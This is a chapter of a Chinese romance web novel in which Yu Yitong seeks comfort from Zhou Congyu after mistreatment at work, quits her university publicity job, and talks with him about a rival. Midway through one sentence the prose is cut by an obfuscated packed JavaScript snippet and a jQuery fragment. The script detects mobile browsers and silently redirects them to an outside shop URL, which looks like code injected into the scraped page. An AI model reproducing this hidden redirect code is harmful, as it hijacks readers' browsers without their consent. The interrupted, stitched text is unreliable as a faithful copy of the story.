俞漪同的眼尾泛着隐隐绰绰的红晕,嗓音又轻又淡地跟周从聿说话。
她看着周从聿近在咫尺的脸,忍不住连情绪都涌上层层叠叠的酸涩。
问完,她忽然张开双手,周从聿顺从地低下头,任由她的双臂环过自己的脖颈。
“怎么了?发生什么事了吗?”看着俞漪同微微有些颤动的睫毛,周从聿俯下身,在她身旁坐下,将她圈进自己怀里低声问。
俞漪同的呼吸很近,近到她就着周从聿的动作将头埋进他的肩。
想说的很多,可一时不知道该从何说起。
头皮有些发麻,眼眸沉得她快要睁不开,她的鼻尖满是周从聿的味道,陷在他温热的怀抱里,感受着他给自己带来的慰藉。
周从聿低头望向她,环抱住她的手青筋凸显,看出来俞漪同暂时不想说话,他只是抬起手,抚摸着散落在俞漪同脊背与肩头的发丝。
来的路上或许是吹了风,周从聿的手触碰到她耳廓的同时感受到了凉意,是和大楼室内完全不同的温度。明明她已经在他办公室里坐了一会了,身上的温度却还是没能热起来。
俞漪同蜷缩在他怀里的样子好像一只在外受了欺负回家找主人安抚的猫,乖戾地一动不动,只有呼吸浅浅。
周从聿调整了一下自己在沙发上的姿势,让俞漪同完全窝在自己的怀抱里,安安静静的好像一切都变得虚妄起来。
只有他肩头的水意是真实的,透过衣服的布料浸润进来,最后落在他的皮肤纹理上。
俞漪同在哭,没有发出一点声音,而是带了点忍耐,只是将自己埋起来,她的眼泪从眼角溢出,顺着脸上的轮廓尽数落进周从聿的衣服褶皱里。
察觉到俞漪同一定是在工作中受到了什么委屈,周从聿的眼眸微垂,用手指将她遮在脸侧的碎发别到耳后,然后动作轻柔地擦拭去俞漪同眼尾处源源不断的湿意。
他就这么任由俞漪同抱着,知道她暂时不想说话,只是想寻求一个庇护的港湾,一把可以为她遮风挡雨的伞。
他的手背温热,拂过俞漪同耳畔时的温度好像渗透进了她心里。
跟曾经无数次一样,俞漪同每次都能在周从聿的安抚下寻求到她想要寻求的。
不论是学生时代偶尔失手的考试,还是长大后难免和俞伯山发生的摩擦。最暴怒的时候俞伯山在餐桌上摔了碗筷,俞漪同把自己关到半夜都在扑簌流泪,最后也是周从聿陪着她。
好像她每一次的坏情绪,最后都是周从聿在一点一点替她捡起来,然后拼成完好无缺的她。
安心的,无可替代的。
俞漪同不知道自己是什么时候睡着的,又是什么时候醒来的。
只记得她一直在周从聿的怀里掉眼泪,好像要把所有的委屈都发泄出来。
来之前她并没有打算这么脆弱,可是在她见到周从聿的那一刻开始,情绪就开始反扑自己。
她昏昏沉沉地在熟悉的怀抱里呆了很久,呆到她疲惫又清醒过来,惊觉天已经黑了。
夜幕降临,窗外已经亮起了属于夜晚的灯光。
办公室里安静如斯,周从聿还是和下午一样的姿势搂着她,没有变化。
外面已经下班了,此刻整个大楼里都不剩几个人。
她沉重的呼吸声在此刻显得格外明显,然后再被这个夜晚所吞噬。
抬起头,对上周从聿的暗眸,在窗外折射进来的灯光下。
周从聿脸上有阴影,遮住了他的额角与侧脸。他的眸色漆黑,和窗外的天色一样是化不开的墨。
俞漪同吸了吸鼻子,目光落在周从聿肩头被自己糟蹋得皱皱巴巴的衣领。
她的头蹭了蹭,撇撇嘴有些不好意思地闷哼一声。
“醒了?”
周从聿的声音从头顶传来,打破了办公室里的压抑与沉寂。他的目光凝视着怀中人,看着俞漪同将头抬起来,头顶的头发杂乱而蓬松。
俞漪同的目光与他交汇在一起,头有些钝痛,眼睛也因为刚才流了很多泪而干涩无比。她抬手抓了抓头发,缓慢地从周从聿怀里退出来。
环顾四周,办公室里没开灯,光线都来自窗外。
一切都和她来时一模一样,摊在办公桌上没处理完的文件,被她随手放置在桌角的相框,以及坐在她身侧的周从聿。
“我是不是……影响你下午的工作进度了?”俞漪同知道周从聿最近半个月都很忙,忙到一天恨不得拆成四十八个小时去用。而俞漪同的到来,很明显让他搁置了原本安排好的工作。
周从聿从沙发里坐起身,然后站起来,在她身侧半蹲下,让俞漪同能够平视着自己。
他的目光灼灼,腿上的裤子因为半蹲的姿势而起了褶皱。
“没有。”他伸出手捧起俞漪同的脸,让她飘忽不定的目光只能望向自己。
“现在愿意告诉我了吗?”
“发生了什么事。”
他的指腹摩挲着俞漪同的脸颊,最后停留在她的眼尾,触碰到她泛着红的伤心。
俞漪同没出声,表情却有了一瞬间的松动。
她张了张嘴,才发现自己发声格外艰难。好像有什么东西堵在了喉咙口,窗外月光稀薄。
“不想去上班了。”她的语气干巴巴的。
“干得不开心了?”她听到周从聿问。
于是她点点头。
“那就不去。”周从聿没有一丝犹豫。
“我说的不是明天不去,是以后都不去。”俞漪同执拗地偏过头,无意识的娇气。
“我知道,我说的也是。”周从聿的声音依旧柔和,从来什么都是顺着俞漪同的意。
不干了就不干了。
他不喜欢看到俞漪同伤心难过的样子。
向来如此。
“你会不会觉得……”俞漪同的话说了一半就戛然而止,她开始觉得自己矫情,于是她又闭上了嘴,许久不说话。
“觉得什么?”等了一会没等到下文,周从聿耐着性子问她。
算了。
“觉得我很懦弱,遇到事情只想着逃避。”她的声音越说越轻,最后又隐匿进了黑暗里。
“不会。”周从聿的回答却坚定,他掰过俞漪同的脸,声音如流水潺潺,“我怎么会这么觉得。”
“不是遇到所有问题都只有迎难而上一条路可以走,你当然可以回头。”
虽然他不知道俞漪同遇到了什么,但他知道,不管怎么样,他都可以托住俞漪同。
“小鱼,不要不开心,你永远可以回头。”
“做你想做的,做你认为正确的事。”
俞漪同的身形单薄,双手颓然地放在膝盖上,骨节白皙清透。她放缓了呼吸的频率,愣怔着听周从聿对她说话。
听他哪怕不知道自己发生了什么,依旧愿意坚定地呵护、支持自己。
俞漪同在黑暗中借着光找到自己的手机,然后点开白天保存的视频画面。
一直等到视频播放完毕,她才如释重负地舒了一口气:“就是这样。”
没有过多的言语,也没提后来她在冯文宾办公室里发生的事。好像这件事情非常的稀松平常,她的语气平淡,平淡到周从聿觉得她心里一定是惊涛骇浪的。
他太了解她了,一如俞漪同同样了解自己。
他们是彼此契合的另一半,在她未尽的话语里寻觅她想说却说不出口的情绪。
周从聿抬手亲昵地揉了揉她的头发,然后掌心附在她的后脑,将她搂紧。
俞漪同的鼻尖抵在周从聿的胸口,感受着他说话时胸口的震颤。
相同的频率下,周从聿的声音裹挟在不远处的钟声里。
那是江城伫立了多年的一口钟楼,在准点留下它行走的印迹。
又是一天过去,而明天会是全新的一天。
-
俞漪同提交辞职报告的时候,方明一脸的震惊。
她没跟方明说真实的原因,只是用寥寥几句搪塞了过去。
不想再卷入这场纷争里,看着这么多年以来,宣传办从其乐融融变得乌烟瘴气。
她至今都记得上大学的时候在记者会里忙上忙下,后来杨老师让她做了自己的办公室助理,那是她第一次正式走进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061268|190912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宣传办的办公室,看到杨老师养的那株龟背竹。
从学长学姐第一次来宿舍扫楼,将自己设计的招新海报印发出来展示给他们新生看,再到参加了三轮面试进入记者会的采写编辑部,第一次出采访、第一次撰写信息稿、第一次和老师同学们校稿到半夜、第一次看到自己的作品刊登在了校报上、第一次通过自己的能力获得了一份稿费……在这里发生了太多太多第一次了,好像贯穿了她的整个大学生活。
大学真的是一座象牙塔,她带给俞漪同的第一份工作,同样让她保有学生时代的那份憧憬与希冀。只可惜,后来改变了很多。从杨老师退休开始,那个一直将自己庇护在羽翼下的恩师,是俞漪同的工作里最后一束光。她有不舍,却也有失望。
她保护不了杨老师毕生都在维护的心血,不是因为她没有能力,而是她看透了人心与嘴脸的邪恶。
这个世界崩塌又重塑,却难抵现实恶劣又顽固。
收拾完东西下楼,俞漪同一下子就看到了站在楼下的周从聿。他站在光影里,抬头看向从楼梯上下来的俞漪同。
当年参加工作的时候周从聿没有来送她,离开时却来接了她。
好奇妙的感觉。
俞漪同捧着怀里的箱子,她的东西不多,周从聿替她接过放进后备箱。
已经是十二月下旬了,冬至刚过。
又是一年圣诞将至。
坐进车里,安全带是周从聿替她系上的。
“我刚才遇到陆筝筝了。”看着周从聿低头认真的模样,俞漪同没忍住开口。
周从聿没有马上启动车子,而是捏着她细长的手指,侧耳倾听她说话。
俞漪同将车载音乐调成自己喜欢的歌单,等副歌落幕才接着往下说:“她竟然用一种居高临下的语气跟我说她赢了。”
周从聿眼底是柔和的暖阳,他听到俞漪同轻笑一声:“我反问她,她赢了什么。她觉得是我节节败退,可事实上,我还有更广阔的路要走,而不是囿于世态畸形的一亩三份地。她说我一定很恨她,可是相反,我感谢她带我认清了其中纷繁复杂的人情世故,才学会什么是知世故而不世故。”
俞漪同反扣住周从聿的手,忽然笑道:“真嫌弃你居然有这样一个朋友。”
“我没承认过我们俩是朋友。”周从聿失笑。
俞漪同也看着他笑,却见周从聿突然正色道:“小鱼,你会怪我吗?”
“怪你什么?”俞漪同抽回自己的手,握拳放在膝盖上。
“如果没有我,就不会有后面陆筝筝的这些事情,你就不会受到这些不公平的待遇,也不会放弃这份你从学生时代就渴望得到的工作——我的意思是,你原本不应该经历这些的,而这些都是因我而起。”周从聿的语气诚恳,目光炙热,口吻中却带着遗憾与心疼。
俞漪同看着他,歪着头很认真地想了想。良久,她摇了摇头:“我是很热爱这份工作,这么多年从我还是大学生的身份开始,就一直贯穿在我的生活中。但随着时间的推移,这些人这些事慢慢让我发现其实这份工作背后有许多和我想象中背道而驰的事情,它不再是我希望的最纯粹的模样。离开是我自己的选择,我不会怪你,相反或许我还会感谢你,如果不是因为陆筝筝,或许我还不会发现它的内里已经烂透了。在这个满是蛀虫的地方,我们所推崇的用文字来为身边人身边事发声似乎成为了一个笑话,我们甚至连为自己发声都做不到。”
停顿了一下,俞漪同继续说:“新闻的意义从来不是如此,也同样不该如此。而在我还能保持初心不被外界同化的时候,我很庆幸自己还有抽身的底气与勇气。能让我从头开始,去见更广大的天地,去见更真实的自己。”
“那辞职之后有什么打算吗?”车开出校园,行驶在他们重逢的学府路上。
俞漪同托腮望向窗外的景象,一如她入学时第一次来到江城大学那样:“还没想好。不过我想着反正以后还有很多空闲的时间,也有闲钱可以去做任何我想做的事了。当然,闲钱是花你的。”
周从聿弯了弯眉眼,声线含笑:“花吧,我求之不得。”